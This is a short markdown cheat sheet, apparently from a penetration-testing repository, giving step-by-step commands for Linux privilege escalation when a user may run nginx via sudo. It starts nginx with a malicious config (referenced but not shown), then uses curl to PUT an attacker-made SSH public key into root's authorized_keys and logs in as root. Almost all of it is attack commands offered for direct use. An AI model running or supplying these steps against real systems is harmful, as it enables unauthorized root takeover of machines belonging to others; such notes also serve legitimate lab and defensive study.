# Nginx Privilege Escalation

## Check if the user runs nginx via sudo

```
sudo -l 
```

### Then create a malicious config file to configure with nginx (Check rootshells folder in this repo)

```
sudo nginx -c /tmp/malicious.conf
```

### In this example, we try to connect to root via ssh by creating our own keys

```
ss -tulpn (Check if the configuration file ran successfully. Check for port 1337 in this example)

ssh-keygen (Save the key to ./root to work successfully)

curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)" (Put the newly created public key to the "authorized_keys" file of the root user to recognize our keys)

ssh -i root root@localhost (SSH to root with the newly created key)
```
